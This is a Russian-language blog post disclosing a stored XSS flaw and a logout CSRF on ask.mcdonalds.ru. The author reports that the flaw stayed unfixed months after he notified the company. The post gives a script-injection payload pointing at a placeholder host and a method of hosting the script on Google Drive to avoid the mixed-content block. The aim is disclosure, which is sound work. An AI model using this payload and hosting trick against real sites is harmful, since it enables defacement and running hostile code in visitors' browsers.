Дефейс ask.mcdonalds.ru

Все началось, когда обычным майским днем я наткнулся на сообщество ВКонтакте, публикующее забавные вопросы людей о продукции Макдоналдс, которые они задавали на некоем сайте. Это выглядело примерно так:

Полистав стену, я заинтересовался и решил посмотреть, что же из себя представляет эта платформа для общения с пользователями — ask.mcdonalds.ru.

Краткий экскурс:

Согласно информации, опубликованной у них же, «Сайт призван максимально подробно ответить на вопросы, которые наиболее часто возникают у наших гостей: о составе, безопасности и качестве продукции Макдоналдс — от поля до прилавка. Поэтому в рамках Сайта мы отвечаем на вопросы, имеющие непосредственное отношение к продукции Макдоналдс.»

Я действительно порадовался, с точки зрения клиента здорово, когда я могу задать вопрос о продукции и получить на него адекватный ответ.

Обнаружение уязвимости

Далее я решил зарегистрироваться и попутно проверил, как экранируются символы, передающиеся посредством формы регистрации. Какого же было мое удивление, когда я увидел, что на страницу в итоге все выводится «как есть». Простой пример:

Таким образом мы видим сразу наличие Stored XSS, которую может использовать каждый, кто пожелает, поскольку обнаружить ее очень просто (кстати, ну и кроме этого, на сайте также присутствует пресловутая logout CSRF).

То есть мы вместе с обычными на первый взгляд именем и фамилией также передаем посредством формы что-нибудь наподобие

<script src=http://site.com/AnyDangerousScript.js></script>  

и получаем возможность выполнения любого нашего скрипта на главной странице сайта при выполнении далее нехитрых действий, но обо всем по порядку.

Я решил проверить уязвимость снова:

Но в этот раз код не выполнился. Открыв консоль, я увидел следующее:

В данном случае, страница передана по протоколу HTTPS, но также содержит контент, передаваемый по обычному, открытому HTTP (мой скрипт). Тогда соединение считается частично зашифрованным, а сама страница называется страницей со смешанным содержимым.

То есть здесь важно, чтобы и скрипт тоже передавался через HTTPS.

Я задумался, где же будет проще всего разместить файл скрипта в таком случае и вспомнил про Google Диск. И именно облачное хранилище от Google здесь придет на помощь, и нужный файл я без проблем получу по защищенному протоколу.

Любой файл, хранящийся у вас на гугл диске, может быть доступен непосредственно по прямой ссылке. Получить ее совсем не сложно:
Делаем файл доступным по ссылке и получаем что-то вроде

https://drive.google.com/file/d/AAAAAAAAAAAAAAAAAAA/view?usp=sharing

затем берем значение после drive.google.com/file/d/, в нашем случае «AAAAAAAAAAAAAAAAAAA», и подставляем его как значение параметра id в ссылку вида

https://drive.google.com/uc?export=download&id=

Вот и все, теперь нам достаточно зарегистрировать аккаунт, имя которого будет содержать наш код, затем задать какой-либо незатейливый вопрос, дождаться, пока на него ответят и он будет размещен на главной странице.

То есть мы получаем возможность выполнить любой код на главной странице сайта.

Последствия наличия такой уязвимости

Говорить о том, что такое компания Макдоналдс, я думаю, будет излишним. Для настолько крупной компании наличие подобной уязвимости, а точнее эксплуатация ее злоумышленниками, может привести к серьезному экономическому ущербу.

Поскольку это хранимая уязвимость, происходит внедрение собственного (возможно, вредоносного кода) на сервер, выполняющегося каждый раз у пользователя при обращении к оригинальной странице.

И если представить, вариантов использования масса:

А если бы такая уязвимость попала в руки их конкурентов на рынке? Здесь можно действовать еще интереснее, поскольку таким образом имеется полный доступ ко всему содержимому страницы, они могут к тому же изменять текст как вопросов, так и ответов, формируя фальшивые вопросы-ответы, выставляющие всю компанию в дурном свете, или даже рекламируя свою продукцию, что приведет к формированию отрицательного имиджа, потере лояльности клиентов и в перспективе потере части клиентов клиентов вообще. Такое использование может быть незаметно на первый взгляд и обнаружение могло бы затянуться.
Да и сам по себе deface сайта опасен, поскольку содержимое именно главной страницы сайта, куда заходит больше всего людей, может быть изменено.

Сообщение компании о наличии уязвимости и итог

Проверив все еще раз и убедившись, что уязвимость присутствует стабильно и не является результатом моего субъективного взаимодействия с сайтом, я решил сообщить компании о ее наличии.

Я обращался на различные электронные адреса, указанные на сайте, писал в сообщения официального сообщества ВКонтакте и на Фейсбук, ответили мне только на Фейсбук, сказав, что все подробности я могу отправить непосредственно им, что я и сделал. Прошло некоторое время, но ничего исправлено не было, я еще раз написал напоминание, что уязвимость все еще присутствует, но ответа не последовало. На данный момент прошло уже более 2 месяцев с момента сообщения всех подробностей, к сожалению, ничего так и не исправлено.

Эксплуатировать уязвимость я не намерен, посему надеюсь, что эта статья также поможет донести информацию до компании, и уязвимость будет исправлена.

Автор: anador

Источник